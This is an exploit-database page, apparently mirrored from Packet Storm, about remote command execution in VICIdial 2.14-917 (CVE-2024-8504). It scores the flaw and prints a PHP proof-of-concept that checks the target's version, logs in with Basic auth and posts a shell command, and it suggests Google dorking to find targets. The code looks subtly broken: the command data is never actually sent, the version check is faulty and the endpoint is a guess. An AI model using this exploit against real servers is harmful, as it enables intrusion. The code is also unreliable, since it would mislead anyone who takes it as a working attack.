Lucene search
K

VICIdial 2.14-917 Remote Command Execution

🗓️ 12 Mar 2025 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 313 Views

VICIdial 2.14-917 has a vulnerability allowing remote command execution via PHP commands.

Related
Code
=============================================================================================================================================
    | # Title     : VICIdial v 2.14-917 PHP Execute system commands                                                                             |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 136.0.0 (64 bits)                                                            |
    | # Vendor    : https://www.vicidial.org/                                                                                                   |
    =============================================================================================================================================
    
    POC :
    
    [+] Dorking İn Google Or Other Search Enggine.
    
    [+] Code Description: Execute system commands indirectly to bypass security restrictions.
    
        (Related : https://packetstorm.news/files/id/181461/ Related CVE numbers: CVE-2024-8504) .
    
    [+] Set Target : line 73
    
    [+] Usage : php poc.php 
    
    [+] PayLoad :
    
    
    <?php
    
    class VICIdialExploit {
        private $target;
        private $username;
        private $password;
        
        public function __construct($target, $username, $password) {
            $this->target = $target;
            $this->username = $username;
            $this->password = $password;
        }
        
        public function checkVulnerability() {
            $url = "$this->target/agc/vicidial.php";
            $response = $this->sendRequest($url);
            
            if (!$response || strpos($response, 'VERSION:') === false) {
                return "Unknown";
            }
            
            preg_match('/VERSION:\s*(\d+\.\d+)-(\d+)/', $response, $matches);
            $version = isset($matches[0]) ? $matches[0] : '';
            
            if (!$version) {
                return "Unknown";
            }
            
            return version_compare($version, '2.14-917a', '<=') ? "Vulnerable" : "Safe";
        }
        
        public function exploit() {
            $auth = base64_encode("$this->username:$this->password");
            
            $headers = [
                "Authorization: Basic $auth"
            ];
            
            $url = "$this->target/vicidial/admin.php?ADD=3&user=$this->username";
            $response = $this->sendRequest($url, $headers);
            
            if (!$response) {
                die("Failed to authenticate");
            }
            
            echo "Authenticated successfully.\n";
            
            // تنفيذ الحمولة المغايرة هنا
            $payload = "echo 'Hacked';"; // يجب تعديلها لتناسب البيئة
            $this->executePayload($payload);
        }
        
        private function sendRequest($url, $headers = []) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
            $response = curl_exec($ch);
            curl_close($ch);
            return $response;
        }
        
        private function executePayload($payload) {
            $url = "$this->target/execute.php"; // يجب تعديل هذا حسب البيئة
            $headers = ["Content-Type: application/x-www-form-urlencoded"];
            $data = "cmd=" . urlencode($payload);
            
            $this->sendRequest($url, $headers, $data);
            echo "Payload executed.\n";
        }
    }
    
    $target = "http://example.com"; // استبدل بعنوان الهدف
    $username = "admin";
    $password = "admin123";
    
    $exploit = new VICIdialExploit($target, $username, $password);
    $status = $exploit->checkVulnerability();
    
    if ($status === "Vulnerable") {
        echo "Target is vulnerable.\n";
        $exploit->exploit();
    } else {
        echo "Target is not vulnerable.\n";
    }
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Mar 2025 00:00Current
7.2High risk
Vulners AI Score7.2
CVSS 3.18.8
EPSS0.75384
SSVC
313